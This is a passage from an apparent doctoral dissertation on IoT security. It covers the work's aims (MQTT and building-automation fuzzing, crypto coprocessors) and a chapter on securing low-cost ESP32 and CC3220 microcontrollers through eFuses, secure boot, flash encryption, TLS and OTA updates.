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ABSTRACT 

Internet of Things (IoT) dominates many functions in the modern world, from sensing and reporting 

temperature, humidity, and air quality, to controlling and automating homes, commercial buildings, and 

equipment. However, IoT systems have received scrutiny in recent years due to countless security incidents, 

which can have physical and even deadly consequences. This research provides a comprehensive 

assessment of the security of IoT systems and devices, including low-cost microcontroller (MCU) based 

sensors, cloud services, and Building Automation Systems (BAS). We begin by exploring the current 

landscape of vulnerabilities and defenses in modern IoT applications. We show that many security needs 

can be satisfied by modern low-cost MCUs. We discuss how to implement crucial security features in IoT 

and illustrate use cases through ESP32 MCUs. Next, we investigate vulnerabilities against popular IoT 

systems and devices. We present a systematic attack model against Message Queuing Telemetry Transport 

(MQTT) software implementations. We design, implement, and evaluate a fuzz testing framework for 

MQTT using Markov chain modeling to rigorously exhaust the protocol and identify vulnerabilities. We 

then demonstrate the plausibility of well-known software attacks on IoT devices. These attacks can be used 

to remotely steal private keys that are hard coded in the firmware. We also expand our fuzzing research to 

Building Automation Systems (BAS) devices and software, which are susceptible to similar vulnerabilities 

as conventional IoT systems and devices. We use dynamic instrumentation and packet analysis to probe the 

communications between BAS clients and BAS IP interfaces to extract an annotated corpus for mutational 

fuzzing. Our fuzzer discovered vulnerabilities in various KNX and BACnet devices and software. After 

exploring these attacks, we discuss how to protect sensitive data in IoT applications using crypto 
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coprocessors. We present a framework for secure key provisioning that protects end users’ private keys 

from software attacks and untrustworthy manufacturers. 
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CHAPTER 1:  INTRODUCTION 

Internet of Things (IoT) interconnects everything including physical and virtual devices together 

through communication protocols. IoT has broad applications in digital health care, smart cities, 

transportation, building automation, agriculture, logistics, and many more domains. The global 

IoT market is booming. According to Statista, the IoT market will reach $1.6 trillion by 2025 [1]. 

However, the popularity of IoT has raised grave concerns about security and privacy. When 

medical devices are connected to the Internet, compromised medical devices may endanger the 

lives of patients. Hackers can force autonomous vehicles to crash and may also steal credentials 

from consumer and medical products. In recent years, botnets such as Mirai [2] and Reaper [3] 

exposed vulnerable networks and compromised millions of devices. 

The security landscape of IoT is broad and complex. Adversaries can infiltrate and compromise 

an IoT system through the hardware, firmware/OS, data, network, and software. With physical 

access to the device, an adversary may utilize side-channel attacks [4] [5] or leverage external 

I/O ports to read sensitive data on the firmware, overwrite the application, disable peripherals 

and other device functions, and perform other attacks [6]. Even when I/O interfaces are disabled 

and side channels are eliminated, it is possible for an attacker to read the firmware directly off 

the flash chip if the contents are stored in plaintext or the encryption key is recoverable. If the 

firmware is not securely signed by an authorized vendor before being loaded onto the device, or 

if the signing key is compromised, then an adversary can forge his own valid firmware images 

and defeat the integrity of the system, even with other security measures in place. Without 

adequate network security – i.e., cryptographically secure mutual authentication, confidentiality, 
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and integrity at the transport layer – an attacker can conduct many attacks; for example, a 

spoofed client can solicit credentials from the server, and a fake server or fake user can collect 

sensitive data from the client. Vulnerabilities can also arise in software, and adversaries can 

conduct software attacks remotely to compromise credentials or threaten the control flow 

integrity of the application. Without secure over-the-air updates (OTA), vendors cannot reliably 

deliver software patches to IoT devices. 

A common misconception is that securing an IoT system against these attacks is difficult, 

expensive, or unreasonable due to hardware constraints. However, this is not the case [6]. 

Modern IoT devices such as ESP32 and CC3220 run on low-cost microcontrollers (MCUs) 

which can provide adequate security and privacy to users and satisfy the performance 

requirements of the application. For instance, ESP32 has dedicated hardware extensions for 

ensuring firmware encryption, secure booting of the application, and secure key storage. MCUs 

powered by the ARMv8-M processor architecture implement the popular TrustZone technology 

to provide a trusted execution environment (TEE) for applications and protect the software 

integrity [7]. Many MCUs also usually contain hardware acceleration of cryptographic functions 

such as RSA and AES to reduce the time cost of network security (e.g., the TLS handshake). 

Additionally, due to the extensibility of MCUs, legacy IoT devices such as ESP8266 can be 

protected by pairing them with external security modules such as cryptographic processors [8].  

We place particular emphasis in this dissertation on software security, due to the inherent 

difficulties in writing bug-free software. Software attacks are widely diverse and include stack 

and heap-based buffer overflow (BOF), format string attacks, code injection, return-oriented 

programming (ROP), jump-oriented programming (JOP), and various other attacks. The severity 
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of these attacks varies from system to system. Even with the exact same software, different 

devices may be susceptible to different vulnerabilities due to hardware and architectural 

differences across devices [8] [9]. Even a “perfectly secure” IoT system can be compromised 

later due to the discovery of zero-day exploits or vulnerabilities introduced by a firmware 

upgrade. For instance, research has shown that applications protected by TrustZone – a feature 

touted for its security promises – can still be compromised through clever software attacks [10]. 

When securing a whole IoT system, it is not sufficient to only secure the end devices. IoT is 

comprised of a network that includes end devices, remote cloud servers, and users [11]. Cloud 

servers perform authentication, process data, and relay traffic between users and end devices. 

Users interact with devices remotely via the cloud server, e.g., by viewing data and sending 

control commands. Both cloud servers and end users can be compromised too [12] [13]. Cloud 

servers often establish a single point of failure and can bring down every node in the network if 

they are compromised. 

A popular communications protocol that connects IoT devices to the cloud is Message Queuing 

Telemetry Transport (MQTT) [14]. MQTT has been called the “de-facto standard” for IoT 

communication due to its lower resource overhead and immense popularity when compared to 

similar protocols such as Constrained Application Protocol (CoAP) [15] and Advanced Message 

Queuing Protocol (AMQP) [16]. MQTT is even used by major cloud service providers such as 

Amazon Web Services. Our literature review has revealed that software security of MQTT-

connected devices has been scarcely explored [17], even though software vulnerabilities in 

MQTT software can affect millions of devices. 
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A relevant field to IoT is smart buildings. A smart building consists of smart devices composing 

a Building Automation System (BAS) that control and monitor building features, such as 

heating, ventilation, and air conditioning (HVAC), lighting, shading, and so forth. A BAS is 

typically deployed in commercial and industrial environments. Devices within a BAS use 

communication protocols such as BACnet [18] and KNX [19] to communicate with each other, 

and building operators use these protocols to monitor and program the devices. These protocols 

often rely partially on IP since devices may be widely distributed throughout the building (and 

sometimes multiple buildings). Thus, an adversary inside the network can perform attacks 

remotely against the BAS. On the one hand, we found that the most common BAS protocols 

often fail to implement proper network security practices, exposing them to the same attacks 

mentioned above such as spoofing attacks, data sniffing and manipulation, denial-of-service, etc. 

[20] [21] [22]. On the other hand, BAS devices are comprised of MCUs which run dedicated 

software stacks, which opens the possibility for software exploits [23] [24] [25]. 

To identify software bugs, security researchers have several techniques at their disposal, such as 

binary analysis, code review, symbolic and concolic execution, and fuzz testing (fuzzing). This 

research focuses on the latter to search for bugs in MQTT and BAS. Generally speaking, fuzzing 

consists of sending random or invalid inputs to a target at runtime and observing the results. 

Binary analysis and code review can search for bugs more thoroughly than fuzz testing, but they 

only analyze the static target and may miss some important runtime information such as dynamic 

libraries, peripheral I/O, and architecture-specific behaviors. Symbolic and concolic execution 

model a system as a set of constraints and attempt to solve those constraints; while this approach 

can reliably generate inputs for given code branches, it is not scalable due to the computational 
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complexity of satisfiability modulo theories (SMT) solvers. Furthermore, these techniques 

presume access to either the binary or source code, which is not always feasible in an IoT 

environment. Hence, we employ fuzz testing in our experiments to 1) observe accurate behavior 

from the target systems at runtime, and 2) guarantee that our models will scale well. 

A major consequence of software attacks is that sensitive data can be leaked. In IoT, this data 

might include WiFi passwords, private keys for TLS communication, unique device identifiers, 

and other types of credentials. Hence, it is important that security practices in IoT prioritize the 

protection of sensitive data. Some prominent software defenses include stack smashing 

protection, data execution prevention, and address space layout randomization (ASLR). 

However, these defenses are not always feasible in an IoT environment, their availability may 

differ from device to device, or they may be susceptible to human errors. For example, stack 

smashing protection may not be offered by all compilers, and ASLR is rarely implemented (or 

ineffective due to low entropy) in IoT devices due to the memory constraints [26].  

Instead, this research advocates the use of cryptographic coprocessors for securing sensitive data 

against software attacks. In such a coprocessor, all cryptographic operations are performed 

internally, and the private key never leaves the chip, thus providing a hardware root-of-trust. 

Depending on which cryptographic operations are offered and which types of data can be stored, 

a crypto coprocessor can enable many functions, including session key establishment and mutual 

authentication, signature generation and verification, random number generation, and even 

secure firmware booting. Moreover, crypto coprocessors have no software overhead, and 

therefore do not face the same limitations posed by the other solutions. A prominent crypto 

coprocessor referenced in this research is the ATECC608A, developed by Microchip [27].  
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1.1 Statement of Research 

This research focuses on discovering new vulnerabilities in IoT systems and devices, as well 

designing trustworthy defenses against those vulnerabilities. We specifically focus on MCU-

enabled IoT devices and IoT servers that interconnect those devices to the cloud, since this type 

of IoT system is common in many applications such as smart homes, Wireless Sensor Networks, 

and environmental monitoring. MCUs are often chosen due to their low cost, simplicity, and 

extensibility; designers may write their firmware in the C programming language, and the board 

often exposes several communication interfaces (programmable GPIOs, I2C, SPI, UART, etc.) to 

support a large variety of peripherals. We find that even industrial-grade equipment such as BAS 

devices often rely on a system-on-chip (SoC) or MCU for processing capabilities. 

A common misconception is that security and privacy requirements cannot be obtained in IoT 

due to unreasonable hardware or cost bottlenecks. Thus, our first contribution aims to disprove 

that misconception by evaluating low-cost MCUs and crypto modules that can implement 

hardware security, system/firmware security, network security, and data security. In many 

Internet-enabled applications, the TLS handshake is often a major bottleneck due to the 

computationally expensive public key cryptography; however, many devices now either offer 

internal hardware acceleration, or can be paired with an external crypto module, to minimize the 

time cost of the connection establishment. Furthermore, our experiments include evaluating 

various individual cryptographic operations such as AES encryption and decryption, HMAC, 

ECC and RSA signature operations, and MQTT connection establishment & round-trip time with 

AWS IoT Core. 
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Next, we begin to focus on the security of IoT servers, which interconnect IoT devices around 

the world. We specifically focus on MQTT servers (“brokers”) due to the popularity and usage 

of MQTT in major cloud service providers such as AWS. The literature has placed significant 

interest into the network security of MQTT; in particular, MQTT offers lackluster authentication 

mechanisms and no data confidentiality or integrity [28] [29] [30]. However, the software 

security of MQTT implementations has not been well explored; even perfect network security 

cannot stop an attacker if the software contains bugs. To evaluate the software security of MQTT 

servers, we design a fuzzer that is modeled using 2 Markov chains and a Bernoulli process. This 

model allows for fine-grained control over various parameters in the fuzzing session, making it 

viable for different software implementations; for instance, the model can easily be configured to 

prioritize certain MQTT packet types or certain fuzzing operations. The fuzzer, called FUME, 

monitors feedback from the server in the forms of network responses and console responses 

(stdout and stderr) to sufficiently track state coverage without the need for the code or binary. 

FUME was deployed against several popular MQTT broker implementations and discovered 6 

zero-day vulnerabilities, of which 2 resulted in CVEs. 

After presenting the vulnerabilities in IoT servers, we evaluate the software security of these IoT 

systems on the device level. Ensuring software security in these devices is a nontrivial task. On 

the surface, IoT devices face many familiar software challenges such as enforcing control flow 

integrity, preventing memory corruption, etc. However, defenses can vary greatly depending on 

the exact hardware and vulnerability. We present various use cases of software attacks against 

the ESP32 that leverage the format string attack. We show that this attack can successfully steal 

and overwrite data, hijack the control flow, and even inject code if the adversary understands the 
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architecture of the ESP32. We follow up these theoretical attacks with proof-of-concepts that 

successfully compromise two running applications without the need for physical access. 

Next, we expand our fuzzing work to target BAS hardware and software frameworks. Despite its 

apparent differences, BAS shares many similarities with the other IoT systems discussed in this 

research. For instance, BAS interconnects a network of devices through a communication 

protocol such as BACnet or KNX, similar to IoT. Smart building devices also typically rely on 

MCUs, SoCs, or microprocessors (MPUs) for processing and storage capabilities. Most 

importantly, these devices contain a software stack that can also be compromised if 

vulnerabilities are present. We expand the protocol fuzzing technique to discover vulnerabilities 

in numerous KNX and BACnet devices. By probing network packets for magic bytes, length 

fields, counter fields, and more, we can develop a greater understanding of the underlying 

protocol and being to fuzz targets more intelligently. We also target the software frameworks 

which are used for controlling and monitoring these devices. To fuzz the software, we develop a 

technique that leverages dynamic instrumentation to obtain code coverage only when the target 

is actively processing network data. 

To design a trustworthy defense against these attacks, we advocate for the use of crypto 

coprocessors to protect the user’s sensitive data. While a defense against specific software 

attacks may not be portable across different architectures, a crypto coprocessor solution is cross-

platform. Our proof-of-concept pairs the ESP32 MCU with the ATECC608A crypto 

coprocessor. We also acknowledge the need to protect crypto coprocessors against supply-chain 

attacks and malicious personnel during the key provisioning process. Thus, we propose a key 
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provisioning framework that defers the provisioning of private keys and certificates to a secure 

facility that is logically separated from the rest of the manufacturing process. 

1.2 Contributions 

This dissertation makes the following contributions: 

1 We explore the use of MCUs and cryptographic modules in IoT applications. We discuss how to 

implement hardware security, firmware security, network security, and data security in IoT and illustrate 

use cases through the popular ESP32 class of MCUs. 

2 We study the software security of popular MQTT implementations, which interconnect with IoT 

devices from the cloud. We design, implement, and evaluate a robust fuzz testing model that discovered 

6 zero-day vulnerabilities in various MQTT brokers. 

3 We demonstrate the plausibility of well-known software attacks on the ESP32. These attacks can be 

used to remotely steal private keys that are hard-coded in the firmware. 

4 We extend our fuzzing approach to BAS hardware and software and reveal numerous vulnerabilities in 

KNX and BACnet devices and tools. We discovered 11 new bugs from this research. 

5 We explore how to protect sensitive data in IoT applications through the use of crypto coprocessors. We 

present a framework for secure key provisioning that protects end users’ private keys from both 

software attacks and untrustworthy manufacturers. 
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CHAPTER 2:  HARDWARE AND COST IN IOT SECURITY AND PRIVACY 

In this Chapter, we explore the use of MCUs and crypto modules in IoT applications and 

demonstrate that hardware and cost may not be the bottleneck of IoT security and privacy in 

various application domains. We discuss how to implement hardware security, system/firmware 

security, network security, and data security in a low-cost IoT framework. We also perform 

extensive experiments to validate the performance of cryptographic and networking operations 

of IoT devices.1 

2.1 Motivation 

The popularity of IoT has raised grave concerns about security and privacy [31] [32]. When 

medical devices are connected to the Internet, compromised medical devices may endanger the 

lives of patients. Hacked autonomous cars may crash. Hackers exploited default passwords and 

usernames of webcams and other IoT devices and installed the Mirai botnet on compromised IoT 

devices [2]. The huge botnet was then used to deploy the DDoS attack against Dyn DNS servers. 

The IoT Reaper botnet was discovered in 2017 and exploited newly found vulnerable IoT 

devices [3]. 

There is a misconception that the security and privacy issues of IoT are caused by incapable 

hardware and the associated cost. For example, it is believed that it is hard to adopt secure 

hardware and achieve the desired security such as public key cryptography based mutual 

 
1 The contents of this chapter are based on our publication to IEEE ICC 2019 [6]. 
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authentication while preserving decent networking performance for smart home products. In this 

chapter, we will explore how to secure low-cost microcontrollers (MCUs) based IoT 

applications. Sensor nodes in various smart systems such as smart home, smart health and smart 

grid can use MCUs to process commands and automatic control. 

 

Figure 2.1: ESP32, CC3220 and ATECC608A microcontrollers and development boards 

The major contributions of this Chapter can be summarized as follows: 

1 First, we discuss how to implement hardware security, system/firmware security, network 

security, and data security through Espressif’s ESP32 ($3.45 at AliExpress) [33], TI’s 

CC3220SF ($6.79 at TI) [34], and Microchip’s ATECC608A ($0.55 at Microchip) [27]. 

Figure 2.1 shows these modules and the corresponding development boards. ATECC608A is 

a crypto co-processor module with AES, HMAC, and ECC (elliptic curve) hardware 
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acceleration and secure key storage capabilities; it can be used with a MCU or 

microprocessor such as ESP8266, ESP32, and CC3220SF to provide public key 

cryptography based mutual authentication and communication secrecy and integrity. 

2 Second, we perform extensive experiments to demonstrate the performance of cryptographic 

and networking operations of those and other MCUs and modules, and we show that the low-

cost MCUs and crypto chips can meet the security and privacy requirements in domains 

where MCUs are used.  

2.2 Secure MCU Based IoT System via ESP32 

In this section, we first discuss the security requirements of an IoT system, identifying the 

necessity of securing the hardware, system and firmware, data on the flash, network 

communication, and firmware updates. We then discuss how to achieve these security features 

individually on the ESP32 

2.2.1 Security Requirements of IoT Systems 

Different IoT systems have different requirements. We take an Internet enabled environmental 

monitoring system as an example to demonstrate security requirements of such an IoT system, 

and we believe other systems share similar attributes. 

Environmental sensors may monitor air, water, and soil quality in the wild and hostile field. A 

secure environmental monitoring system should have hardware security and be able to prevent 

attackers from reading and changing the data on the device, even when the attacker has physical 

access to the device. However, hardware security is a great challenge. For example, advanced 
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attackers may remove the flash of a device and manipulate the flash directly through its I/O 

interface. Therefore, the IoT device should have system and firmware security so that it can 

detect firmware changes and protect the overall system. To further protect the firmware and 

sensitive data that may be stored on the flash, we also want data security – for example, flash and 

file encryption. 

In order to secure network traffic to and from the IoT device, we can use SSL/TLS (which we 

will refer to simply as TLS) to establish mutual authentication, message encryption, and message 

integrity between the device and a server. Mutual authentication is necessary and critical for any 

IoT system. We have explored various systems and found that those without mutual 

authentication often have various vulnerabilities [35] [36] [11] [37] [38]. Without client 

authentication, a fake client may solicit security credentials from the server or a smartphone 

application. Without server/user authentication, a fake server or a fake user can cheat on the 

clients and collect sensitive information. Certificate based mutual authentication based on public 

key cryptography is often the most feasible and simple implementation of mutual authentication. 

In TLS’ certificate based mutual authentication, a client verifies the server’s certificate and 

identity. The server performs similar operations to authenticate the client. 

Secure and efficient updating of the firmware of IoT systems is also key to the longevity of an 

IoT system, since no one can guarantee that a software has no bugs, and security and 

functionality patches are always expected. 
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2.2.2 Hardware Security: Disabling JTAG and UART 

The first step to accomplish hardware security is to disable I/O ports that may be present on the 

device. We must disable the ESP32’s Joint Test Action Group (JTAG) and Universal 

Asynchronous Receiver/Transmitter (UART) ports, since they can lead to malicious read and 

write access. 

JTAG is an interface which provides two primary functions to the programmer. The first is 

boundary scanning, in which the programmer can test each component of the chip separately to 

verify it is connected and functioning correctly. The second function is debugging. The Open 

On-chip Debugger (OpenOCD) project is an open-source framework that supports 

communication with the JTAG interfaces of many embedded devices via the GNU Debugger 

(GDB) environment. OpenOCD supports the ESP32 JTAG chain. Programmers can use GDB to 

communicate with OpenOCD, providing complete access to the flash of the ESP32. It is possible 

to read and write to any byte of memory, including registers and instruction flow. 

To disable JTAG, the corresponding eFuse bit must be set to 1. The ESP32’s eFuse is a 1024-bit 

partition of one-time programmable memory, separated into four 256-bit blocks. Upon 

programming a value, hardware “fused” are severed, and the programmed value is irreversible. 

As shown in Table 2.1, the eFuse field for disabling JTAG is named “JTAG_DISABLE”. When 

the programmer disables JTAG, they cannot re-enable it. 

UART is an integrated circuit which allows two devices to communicate over a serial 

connection. Both devices in UART can either transmit or receive bytes of data. Using a serial 

register, UART will convert this data either from serial to parallel or vice versa, depending on 
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whether the data is being transmitted or received. Unlike JTAG, which can debug devices, 

UART is purely used for communication. 

The primary purpose of UART with respect to the ESP32 is to write the bootloader or 

application/firmware to the flash. Other possibilities with UART include monitoring output from 

the console and either reading or modifying direct memory addresses. The UART bootloader – 

which is stored in ROM and distinct from the application bootloader – enables read and write 

access directly to the flash, and this can be achieved by the programmer through an external 

interface called “esptool”. If the flash is encrypted by the encryption key stored in the eFuse 

when the programmer tries to read it, then the UART bootloader will transparently decrypt this 

content before sending the contents to the external interface. Similarly, the UART bootloader 

will transparently encrypt data when the programmer uploads it via the external interface. 

Table 2.1: Overview of ESP32's security-related eFuse memory region. Size is in bits. 

Name Description Size 

FLASH_CRYPT_CNT Flash encryption counter 8 

FLASH_CRYPT_CONFIG Flash encryption config 4 

CONSOLE_DEBUG_DISABLE Disable ROM console 1 

AES_DONE_0 Enable secure boot 1 

JTAG_DISABLE Disable JTAG 1 

DISABLE_DL_* Disable UART in download mode 3 

BLK1 Flash encryption key 256 

BLK2 Secure boot key 256 

BLK3 Defined by application 256 

 

To disable the insecure properties of the UART bootloader, we must set three eFuse values. 

These are: 
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1. DISABLE_DL_ENCRYPT: Disables transparent flash encryption in UART bootloader 

mode. 

2. DISABLE_DL_DECRYPT: Disables transparent flash decryption in UART bootloader 

mode. 

3. DISABLE_DL_CACHE: Completely disables the memory management unit’s (MMU) 

flash cache while in UART bootloader mode. This step is necessary, as the MMU flash 

cache unconditionally applies encryption and decryption to all data, regardless of the 

status of the other two eFuses. 

After these eFuses are set, the programmer cannot decrypt the flash contents or write new 

contents without access to the flash encryption key. If the programmer tries to use the UART 

bootloader to read data, it will find that everything is encrypted. Similarly, if the programmer 

attempts to write plaintext data, then the new data will not function correctly, since the flash 

controller and flash cache will transparently “decrypt” the data before it reaches the CPU, 

effectively corrupting it. Malicious users cannot override the encryption properties of the flash, 

since they are set and enforced by the hardware. 

2.2.3 System and Firmware Security 

The ESP32 offers two main features to secure the system and flash firmware from unauthorized 

access. These are hardware-based secure key storage and secure booting of the firmware. Secure 

key storage protects secret keys from being externally revealed or modified. Secure boot requires 

all firmware to be signed and verified before executing on the device. The details of both 

features are discussed below. 
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Secure Key Storage. To guarantee that an IoT system is secure, it is not enough to simply 

encrypt the data. We must also securely store the encryption key, so that only trusted systems can 

access it when needed, and even a software malware that hacks into the system cannot access the 

keys. 

The ESP32’s eFuse allows for secure key storage. Recall this eFuse contains four 256-bit blocks. 

Block 0 is reserved for the MAC address, SPI configuration, and related security settings. Blocks 

1 and 2 are actually used for key storage – block 1 stores the flash encryption key, while block 2 

stores the secure boot key. Both keys are 256 bits and generated using an external random 

number generation (RNG) hardware accelerated algorithm. Block 3 can be defined by the 

programmer to store application-specific keys. 

The eFuse contains several important hardware-enforced characteristics which make it secure. 

The first is that each value cannot be reversed or lowered. For example, once the 

“JTAG_DISABLE” value is set from 0 to 1, then this value cannot be changed back to 0, 

meaning that JTAG is permanently disabled on the chip. The second characteristic is the ability 

to remove read and write access from eFuse values. When setting blocks 1 and 2, the chip will 

preemptively set two bits per block that correspond to read and write prevention, effectively 

disabling these features. Since the eFuse is stored in hardware, an attacker cannot use UART, 

JTAG, or other means of communication to reveal the contents of the eFuse. 

Secure Boot. Secure boot is a feature which ensures that all software running in flash must be 

signed by a known trusted entity. If either the software bootloader or the application firmware 

are modified, the device will refuse to boot. 
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Once properly configured, two keys are necessary to enable secure boot. The first key is a 256-

bit bootloader key, generated with internal RNG functions and stored in eFuse block 2. This key 

allows the ROM bootloader to validate the application bootloader. The second key is the secure 

boot signing key, generated using ECDSA with the NIST256p curve. The manufacturer will 

generate the ECDSA keypair on their own system. The signing key is used to generate image 

signatures, so it must be available to the manufacturer. The software bootloader and the 

application are validated via a chain-of-trust model, as detailed below. 

• After secure boot is first enabled, the ESP32 hardware uses the key in stored in eFuse block 2  

to generate a digest of the application bootloader’s contents. To generate the digest, first the 

hardware encrypts the bootloader contents uses AES-256 in ECB mode and the secure 

bootloader key. Then SHA-512 is calculated over the ciphertext to obtain the final digest. 

The digest is stored at address 0x0 in the flash. The application bootloader is stored at 

address 0x1000. Now the application bootloader uses the public key component of the 

ECDSA keypair to verify the firmware image. This means all firmware images must be 

signed by the secure boot signing key. If the firmware is verified, then the application 

bootloader loads the firmware image and runs the application. 

• If the ESP32 is reset, the ROM bootloader verifies the integrity of the application bootloader 

by re-calculating the digest and comparing it to the stored digest. The ROM bootloader will 

load the application bootloader only if the digest match. The application bootloader will 

again use the ECDSA public key to verify the firmware before loading and executing it. 
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2.2.4 Data Security 

The ESP32 has the ability to encrypt applications and firmware using a secure AES-256 key. 

This procedure is known as flash encryption. The AES key is stored in block 1 of the eFuse; 

once written to the eFuse, the read and write bits for the key are set to prevent anyone from 

reading or modifying the key. 

When flash encryption is enabled, application-specific flash partitions, such as factory and over-

the-air (OTA) update partitions, are encrypted by default. From there, decryption can only occur 

at runtime via the flash controller or flash cache. The flash controller is a hardware component 

that uses the AES key to perform the following operations:  

1) Decryption of memory-mapped read accesses to flash, 

2) Encryption of memory-mapped write accesses to flash. 

It is also possible to encrypt other flash partitions by manually setting an “encrypt” flash for a 

partition. This requires generating a custom partition table rather than using the default table 

(which only encrypts factory and OTA partitions). All partitions have the option for their content 

to be encrypted, with the exception of non-volatile storage (NVS), which persists through the 

power cycle. However, it is desirable to encrypt NVS contents, which may store sensitive data 

such as WiFi credentials. 

Although we cannot secure the NVS partition directly using flash encryption, we can still 

encrypt the partition through other means. We can create a new NVS key partition called 

“nvs_key”, generate a new AES-256 secret key, and store the key in this partition. We can mark 

this partition with the “encrypt” flag so that the key is encrypted with the primary flash 
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encryption key. Afterwards, when the ESP32 detects read or write requests to the NVS partition, 

it will transparently encrypt or decrypt these requests using AES in XTS mode and the NVS key. 

These requests are only available from the ESP32’s NVS API library, so they cannot be 

exploited from outside the device. 

2.2.5 Network Security 

The challenge to implement TLS on an IoT device is often the cost and efficiency of 

implementing the public key based cryptographic functionalities. As shown in this chapter, the 

hardware and cost may no longer be the bottleneck. The ESP32 has cryptographic hardware 

acceleration for RSA and random number generation (RNG), while ECC hardware acceleration 

is limited based on our experiments. Our extensive experiments show that the performance of 

TLS is satisfactory in various application domains. The ESP32 also has cryptographic hardware 

acceleration for AES and SHA-2 in addition to RSA and RNG so that TLS can be fully 

implemented. Therefore, AES encryption can be implemented for communication secrecy, and 

HMAC will achieve communication integrity. 

2.2.6 Secure Over-the-Air Updates (OTA) 

OTA is a process in which the MCU fetches a new image from a remote location, stores this 

image in the flash, and loads on successive reboots. OTA updates are seamless and transparent, 

and many devices can be updated concurrently. The drawbacks are that wireless updates 

introduce additional attack vectors that must be avoided. The ESP32 offers native library support 

for OTA updates over HTTPS. For example, a partition table may include multiple OTA 
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partitions which store potential firmware for the ESP32. A separate partition called “otadata” can 

store a pointer to the newest firmware, i.e., the correct OTA partition. Upon downloading a new 

update, the unused firmware will be overridden, leaving the current firmware untouched. If the 

update fails, the device simply reverts to the previous application. If the update succeeds, the 

“otadata” partition updates to point to the new OTA partition, and the system reboots to execute 

the new firmware. 

2.3 Discussion 

In this section, we first discuss the security differences between the ESP32 and the Texas 

Instruments (TI) CC3220SF MCU (denoted as CC3220 thereafter) in terms of hardware security, 

system and firmware security, network security, and data security. The features of the CC3220 

are technologically similar to the ESP32. We will then discuss the use of low-cost cryptographic 

co-processors for IoT security and privacy. 

2.3.1 Differences from TI CC3220 

The CC3220 contains two separate execution environments, an ARM Cortex-M4 MCU (180 

MHz) for user applications, and a network processor MCU for network-related tasks. The ESP32 

contains two Xtensa LX6 cores (240 MHz), allowing for preemptive context-switching and user-

specified processor workloads. 

Hardware Security. Both the ESP32 and the CC3220 contain external UART and JTAG ports 

for communication and debugging. CC3220 additionally has compact JTAG (CJTAG) and serial 

wire debug (SWD) ports for alternative debugging methods. Both chips can be configured to 
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disable these debug interfaces. The CC3220 supports two application environments: 

development mode and production mode. Users can select their preferred environment using the 

TI Uniflash standalone flash tool. In development mode, JTAG and other debugging interfaces 

are exposed, and the user can navigate and modify the device file system using Uniflash. In 

production mode, the user cannot use Uniflash to access the file system. Furthermore, hardware-

enforced file encryption limits the capabilities of UART in production mode. 

System/Firmware Security. TI encourages CC3220 users to use the TI-Real Time Operating 

System (TI-RTOS). This OS utilizes a file system model to organize image contents and 

metadata. Both ESP32 and CC3220 can run any SoC-level OS, such as FreeRTOS and 

Mongoose OS. 

Both devices support similar functions with regards to secure key storage. The ESP32 can store 

three private keys in the eFuse. Additionally, users can generate an “nvs_key” partition in the 

ESP32 to store encryption keys, which will transparently encrypt and decrypt data in the NVS 

partition. Finally, the ESP32 can generate temporary AES, DES, RSA and ECC keys using the 

mbedtls library. 

By comparison, the CC3220 can store up to eight different private keys. Keys must be generated 

using ECDH with the SECP256R1 curve, with the exception of the device-unique keys. Secure 

key storage is available in three different forms for the CC3220: hardware-bound device-unique 

private keys, temporary keypairs, and pre-installed keypairs. There are two device-unique keys 

on the CC3220. The first is a 128-bit key that encrypts the file system using AES-128-CTR. The 

second is a 256-bit keypair that can be used to sign and verify various data buffers; this can be 
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used to implement secure content delivery, mutual authentication during the TLS handshake, and 

various other features. Temporary keypairs can be generated using the device $TRNG$ (true 

random) library; these will not persist through the power cycle. Finally, pre-installed keypairs 

must be generated outside of the CC3220 and flashed to the device before uploading the main 

application code. From there, only the public keys are retrievable, while the private keys are 

protected by hardware. 

The CC3220 also provides secure boot functionality. When first booting the application onto the 

chip, the user must present a valid RSA certificate signed by a trusted CA. This certificate is 

used to prove authenticity during subsequent flashes. The user signs the image using the RSA 

private key. The bootloader then stores the corresponding public key, which is used to verify the 

image. Finally, the bootloader hashes the image binary and stores this in a secure file. 

Upon repeated boots, if the user decides to reflash the same image, then they will need to present 

a valid certificate to authenticate with the device. The bootloader will confirm that the image 

signature is valid and the hashes match, and the program will execute as normal. If the 

authenticated user decides to reflash a new image and signs with the private key, then the 

bootloader will verify the signature, hash and store the new image binary, and execute the new 

image. In this way, the ROM bootloader serves as the root of trust for applications in the 

CC3220, similar to the ESP32. 

The CC3220 secure boot approach differs from the ESP32 in several ways. For one, the CC3220 

only verifies the run time binary and the associated files, whereas the ESP32 verifies the binary, 

software bootloader, and all other flash partitions, with the exception of NVS. Second, secure 
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boot is enabled by default for the CC3220 (in production mode), whereas it is optional and 

disabled by default for the ESP32. 

Network security. The ESP32 and CC3220 have similar network security features. In our 

observations, we found very few technical differences in the most critical areas of network 

security, although network performance has been shown to differ in our evaluation. 

The ESP32 and CC3220 fully support the SSL/TLS protocol, enabling mutual authentication, 

message encryption, and message integrity. Both the ESP32 and CC3220 can generate X.509 

certificates using ECC or RSA certificates. In addition, the ESP32 and CC3220 both support 

HTTP, MQTT, and HTTP/MQTT over SSL. Either HTTP/S or MQTT over SSL is sufficient for 

secure communication with a server. 

Both devices support WiFi (802.11 b/g/n) and Bluetooth Low Energy (BLE version 4.2). In 

addition to serving as an open access point (WEP and WPA), both devices can connect to 

personal and enterprise WPA2 networks. If an enterprise network is to be connected, the network 

CA certificate must be manually imported onto the device. The CC3220 can also communicate 

using Zigbee, a close-ranged communication technology; Zigbee is unsupported by the ESP32. 

Data Security. The ESP32 and CC3220 both support some form of flash encryption. The ESP32 

can encrypt all of its flash contents using a hardware-stored AES key. Meanwhile, the CC3220 

organizes most of its user-defined code in a file system, which is also encrypted with a hardware-

bound AES key. TI refers to this protection mechanism as ''cloning detection", because only the 

original boot device has authorization to decrypt the file system. Both chips also support 

temporary and persistent key generation. 
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The CC3220 implements a file permission mechanism known as data tampering detection. Users 

can designate and label critical files in their applications. The file metadata will denote them as 

“secure” files. Upon a secure file creation, the system will generate several different 32-bit 

access tokens for read, modify or delete; each token provides a different access level for the file. 

This feature, coupled with the file system encryption, prevents attackers from stealing sensitive 

data even if they have full control of the device. 

Both devices incorporate external hardware accelerators for a variety of cryptographic 

algorithms. The ESP32 supports hardware acceleration for RSA, AES, SHA-2, and RNG. The 

CC3220, meanwhile, supports hardware acceleration for AES, DES, 3DES, SHA-2, MD5, CRC, 

and checksums. In section 2.4, we compute and compare different procedures on data using 

AES, HMAC, ECC, and TLS. 

2.3.2 Microchip ATECC608A 

An old MCU may not have modern support of secure boot, flash/file encryption and hardware 

cryptographic acceleration. However, solutions are available to secure those MCUs and other 

